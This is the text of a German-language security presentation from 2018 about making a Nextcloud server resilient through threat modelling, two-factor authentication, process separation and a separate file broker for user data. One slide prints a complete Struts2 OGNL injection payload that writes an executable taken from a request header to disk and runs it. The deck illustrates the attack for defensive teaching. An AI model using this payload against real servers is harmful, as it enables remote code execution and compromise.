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Resilient Web Application
How hard can it be?
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Margaret Hamilton, 

NASA's First Software Engineer 
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Resilienz in Software

Build for Failure

o ein Fehlverhalten wird erwartet

o wenn ein System nicht richtig funktioniert, dann 

schaltet es sich ab (z.B. Autopilot, Kompass)

o Redundante Systeme übernehmen den Job 

Im Falle des Vorhandenseins von Schwachstellen, 

soll die Sicherheit der Daten gewährleistet werden.

SBA Research  gGmbH, 2018



5SBA Research  gGmbH, 2018



6

Einfaches Bedrohungsmodell

• Wer ist der Angreifer?

o anonyme Internet-Benutzer (Bruteforce)

o die Nextcloud-Benutzer (Phishing)

o Schwachstellen in der Nextcloud/in den Apps

• Was sind die Assets?

o die Benutzerdaten

o der Server (CPU)
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Nextcloud
https

user data

Internet-User

nextcloud user
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IT-Security Grundschutz
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Backup

 Aktuelle Version

 Patches eingespielt

 Schwachstellen-Scan

 Gehärtetes 

Betriebssystem

 Sichere TLS Konfiguration

 Sichere Webserver Config

 Aktuelle Version

 Sichere Integration

 Sichere Passwörter
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Passwort-Leaks / Data-Breach

SBA Research  gGmbH, 2018 https://haveibeenpwned.com/
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2-Faktor Authentisierung
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Für Benutzer und Administratoren: Nextcloud Weboberfläche

Desktop – und Mobil-Clients und WebDAV? Kein 2-FA

Siehe auch NIST 800-63-3: Digital Identity Guidelines

TOTP U2F/FIDO2SMS
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Nextcloud - Schwachstellen

SBA Research  gGmbH, 2018
https://cve.mitre.org/
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Example: Struts2 OGNL Injection
• Oct, 2006: Initial release

• Jul, 2017: CVE-2017-9791 Remote Code Execution
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%{(#_='multipart/form-
data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memb
erAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.c
ontainer']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.
OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.ge
tExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#data=@org.ap
ache.struts2.ServletActionContext@getRequest().getHeader('X-
rXFG')).(#f=@java.io.File@createTempFile('CKMy','.exe')).(#f.setExecutable(t
rue)).(#f.deleteOnExit()).(#fos=new java.io.FileOutputStream(#f)).(#d=new 
sun.misc.BASE64Decoder().decodeBuffer(#data)).(#fos.write(#d)).(#fos.close()
).(#p=new 
java.lang.ProcessBuilder({#f.getAbsolutePath()})).(#p.start()).(#f.delete())
}
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Risiko: RCE-Schwachstelle im System

• Beispiel: eine Remote-Code-Execution

Schwachstelle in Nextcloud bzw. einer App

• Nun ist der Prozess selbst der Ausgangspunkt

• Die Daten sind das Ziel
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Nextcloud
https

user data

Internet-User

nextcloud user
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apache2
[www-data]

system files
[ ]

Internet-User

mysql
[mysql]

tcp:3306

read

user data
[www-data]

read/write

nextcloud user

nextcloud code
[www-data]

read/write

data files
[mysql]

read
read

Threat Model: Out of the Box
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Angriffsmuster verstehen
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PHP

apache2 mysql
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Kernel

PHP

https://www.ebay.com/itm/Kenley-Mini-Sandbox-for-Desk-Miniature-Beach-Zen-Garden-Sand-Toys-Play-Kit-/253472884998
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apache2
[www-data]

system files
[ ]Internet-User

mysql
[mysql]

php fpm
[nextcloud]

socket

user data
[nextcloud]

read/write

nextcloud user

nextcloud code
[nextcloud]

read

mysql data files
[mysql]

read/write

socket

unknown
Server

reverse shell

read

Threat Model: Iteration 2
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Prozesstrennung
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Verschlüsselung?
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• Serverseitige Verschlüsselung erscheint nicht stabil:

• Clientseitige Verschlüsselung

o Einige Funktionseinschränkungen

o Noch Alpha
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• Direkter Zugriff auf die Benutzerdaten:

• Im Fall einer Kompromittierung:

Schutz der Benutzerdaten: Normalfall

SBA Research  gGmbH, 2018

user data

user dataGreift an
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• Direkter Zugriff auf die Benutzerdaten:

• Im Fall einer Kompromittierung:

Schutz der Benutzerdaten: Normalfall
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user data

user data
Greift an
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Schutz der Benutzerdaten: Auftrennung
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• Webservice authentisiert sich am File Broker als der 

jeweilige Benutzer

o Angreifer benötigt auch das Benutzerpasswort

• Im Fall  einer Kompromittierung:

File Broker user data

File Broker user dataGreift an
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Webinterface

Auth
Service

File Broker user data

Internet-User

nextcloud user

Schutz der Benutzerdaten: External Storage

• Einbindung als External Storage:
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Notwendige Nextcloud-Konfiguration

• Keine Schreibrechte auf Nextcloud – Code:

• Benötigt

spezielle

NC Konfiguration:

• Beim Einbinden des externen SFTP

o Option „Anmeldedaten in Sitzung speichern“

o Verhindert Persistierung des Zugangs

SBA Research  gGmbH, 2018
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Einschränkungen

• „Teilen“ mit anderen Benutzern nicht möglich

• Funktioniert für Dateien

o Nicht für Kontakte, Kalender und andere Apps

• Administration für Nextcloud aufwändiger

o Kein NC-Update via Webinterface

o Keine Installation von Apps via Webinterface
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Bewertung der Maßnahmen
• 2-Faktor Authentisierung - kompensiert Passwort-Leaks

o Nicht von allen Komponenten unterstützt -> feature loss

o Erhöht Administrationsaufwand. Erhöht Sicherheit

• Aufsplittung der Services

o Mehrere Schutzschichten

o Zusammen mit restriktiven Berechtigungen

– Erhöht den Integrationsaufwand

– Update muss manuell gemacht werden

– beschränkt Eskalationspfade

• => Resilientes Nextcloud-Server, das Schwachstellen 

kompensiert
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